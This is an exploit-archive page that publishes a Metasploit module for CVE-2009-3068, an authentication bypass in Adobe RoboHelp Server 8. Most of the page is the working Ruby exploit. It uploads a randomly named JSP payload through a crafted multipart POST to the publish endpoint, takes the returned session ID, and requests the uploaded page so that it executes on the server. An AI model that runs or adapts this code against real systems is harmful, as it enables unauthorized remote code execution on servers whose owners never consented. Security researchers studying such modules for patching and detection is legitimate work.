exploit the possibilities

Adobe RoboHelp Server 8 Arbitrary File Upload and Execute.

Adobe RoboHelp Server 8 Arbitrary File Upload and Execute.
Posted Nov 26, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a authentication bypass vulnerability which allows remote attackers to upload and execute arbitrary code.

tags | exploit, remote, arbitrary, bypass
advisories | CVE-2009-3068
SHA-256 | 6a9990e0a446456d233f36ace46eca260847af5ae39b82be3254f1d524a2d1af

Adobe RoboHelp Server 8 Arbitrary File Upload and Execute.

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe RoboHelp Server 8 Arbitrary File Upload and Execute.',
'Description' => %q{
This module exploits a authentication bypass vulnerability which
allows remote attackers to upload and execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'Platform' => 'win',
'Privileged' => true,
'References' =>
[
[ 'CVE', '2009-3068' ],
[ 'URL', 'www.intevydis.com/blog/?p=69' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-066' ],
],
'Targets' =>
[
[ 'Universal Windows Target',
{
'Arch' => ARCH_JAVA,
'Payload' =>
{
'DisableNops' => true,
},
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 23 2009'
))

register_options( [ Opt::RPORT(8080) ], self.class )
end

def exploit

page = Rex::Text.rand_text_alpha_upper(8) + ".jsp"
uid = rand(20).to_s

file = "-----------------------------#{uid}\r\n"
file << "Content-Disposition: form-data; name=\"filename\"; filename=\"#{page}\"\r\n"
file << "Content-Type: application/x-java-archive\r\n\r\n"
file << payload.encoded
file << "\r\n"

print_status("Sending our POST request...")

res = send_request_cgi(
{
'uri' => '/robohelp/server?PUBLISH=' + uid,
'version' => '1.1',
'method' => 'POST',
'data' => file,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------' + uid,
'UID' => uid,
}
}, 5)

id = res['sessionid'].to_s.strip

if ( res and res.message =~ /OK/ )

print_status("Got sessionid of '#{id}'. Sending our second request to '#{page}'...")
data = send_request_raw({
'uri' => '/robohelp/robo/reserved/web/' + id + '/' + page ,
'method' => 'GET',
'version' => '1.0',
}, 5)

handler
else
print_error("No SESSIONID acquired...")
return
end
end
end
Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close